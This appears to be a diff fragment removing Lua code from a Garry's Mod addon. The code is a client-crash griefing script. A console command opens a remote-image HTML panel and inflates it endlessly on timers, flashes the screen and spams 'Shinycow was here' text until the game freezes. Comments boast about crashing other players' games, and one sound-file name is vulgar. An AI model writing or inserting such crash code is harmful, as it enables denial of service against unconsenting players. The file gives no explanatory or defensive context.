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- -- crashed hatus game with it, super legit!!!
- -- aaron corey kif3r crashed my pc: dude
- --aaron corey kif3r crashed my pc: stop doing that
- --aaron corey kif3r crashed my pc: you just crashed my Gmod
- elseif (CLIENT) then
- local sc_increment = 1
- concommand.Add("kif3r_crashall", function( pl )
- pl:ChatPrint("YOU'RE IN FOR A WORLD OF HURT!!!")
- surface.PlaySound("crapcore/staple_tape_worms_on_my_penis.mp3")
- timer.Create("crashmeyo", 1, 50, function()
- sc_increment = sc_increment + 1
- end)
- pl.IsCrashing = true
- pl.CrashTime = math.Round(CurTime(), 1)
- local aamgg = vgui.Create("HTML")
- aamgg:SetPos( 1, 1 )
- aamgg:SetSize( ScrW() / 2, ScrH() / 2 )
- aamgg:OpenURL( "d1e0u2actw4eb3.cloudfront.net/h/src/1364117564793.jpg" )
- local increment = 1
- timer.Create("imcrashingsooo", 0.1, 900, function()
- aamgg:SetPos( math.random(60, 750), math.random(1, 150) )
- end)
- timer.Simple(3, function()
- --while true do
- timer.Create("yeahalsocrashing", 0.07, 900, function()
- aamgg:SetSize( ScrW() * increment, ScrH() * increment )
- increment = increment + .2
- end)
- end)
- end)
- hook.Add("RenderScreenspaceEffects", "Stalemate_GoBlackNLR", function()
- if not LocalPlayer().IsCrashing then return end
- local colorsettings = {}
- if math.random(1,2) == 1 then
- colorsettings[ "$pp_colour_addr" ] = 1
- colorsettings[ "$pp_colour_addg" ] = 0
- colorsettings[ "$pp_colour_addb" ] = 0
- colorsettings[ "$pp_colour_brightness" ] = 0
- colorsettings[ "$pp_colour_contrast" ] = 1
- colorsettings[ "$pp_colour_colour" ] = 1
- colorsettings[ "$pp_colour_mulr" ] = 0
- colorsettings[ "$pp_colour_mulg" ] = 1
- colorsettings[ "$pp_colour_mulb" ] = 1
- else
- if math.random(1,2) == 1 then
- colorsettings[ "$pp_colour_addr" ] = 0
- colorsettings[ "$pp_colour_addg" ] = 1
- colorsettings[ "$pp_colour_addb" ] = 0
- colorsettings[ "$pp_colour_brightness" ] = 0
- colorsettings[ "$pp_colour_contrast" ] = 1
- colorsettings[ "$pp_colour_colour" ] = 1
- colorsettings[ "$pp_colour_mulr" ] = 1
- colorsettings[ "$pp_colour_mulg" ] = 0
- colorsettings[ "$pp_colour_mulb" ] = 0
- else
- colorsettings[ "$pp_colour_addr" ] = 3
- colorsettings[ "$pp_colour_addg" ] = 3
- colorsettings[ "$pp_colour_addb" ] = 0
- colorsettings[ "$pp_colour_brightness" ] = 0
- colorsettings[ "$pp_colour_contrast" ] = 1
- colorsettings[ "$pp_colour_colour" ] = 1
- colorsettings[ "$pp_colour_mulr" ] = 1
- colorsettings[ "$pp_colour_mulg" ] = 3
- colorsettings[ "$pp_colour_mulb" ] = 0
- end
- end
- DrawColorModify(colorsettings)
- end)
- hook.Add("HUDPaint", "drawcrash", function()
- if not LocalPlayer().IsCrashing then return end
- draw.SimpleText("You have " .. math.Round(3 - (math.Round(CurTime(), 1) - LocalPlayer().CrashTime), 1) .. " seconds to speak.", "SomeHugeFont", ScrW()/2, (ScrH()/2) - 100, Color(255,255,255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- local usefont = "UiBold"
- local usecolor_r,usecolor_b,usecolor_g = math.random(50, 255),math.random(1, 255), math.random(70, 255)
- if math.random(1,3) == 2 then usefont = "Shinycowwashere" end
- if math.random(1, 30) == 25 then usefont = "SomeLargeFont" end
- for i=1,sc_increment do
- draw.SimpleText( "Shinycow was here", usefont, math.random(90, 750), ScrH() - math.random(100, 900), Color(usecolor_r, usecolor_b, usecolor_g), 0, 1)
- end
- end)
- usermessage.Hook("pknotifycrash", "showadmencrash", function( um )
- local plname = um:ReadString()
- local pltime = CurTime()
- hook.Add("HUDPaint", "showadmencrash", function()
- draw.SimpleText( plname .. " is going blastoff in " .. math.Round(3 - (math.Round(CurTime(), 1) - pltime), 1) .. " seconds.")
- end)
- timer.Simple(3, function() hook.Remove("HUDPaint", "showadmencrash") end)
- end)
- end
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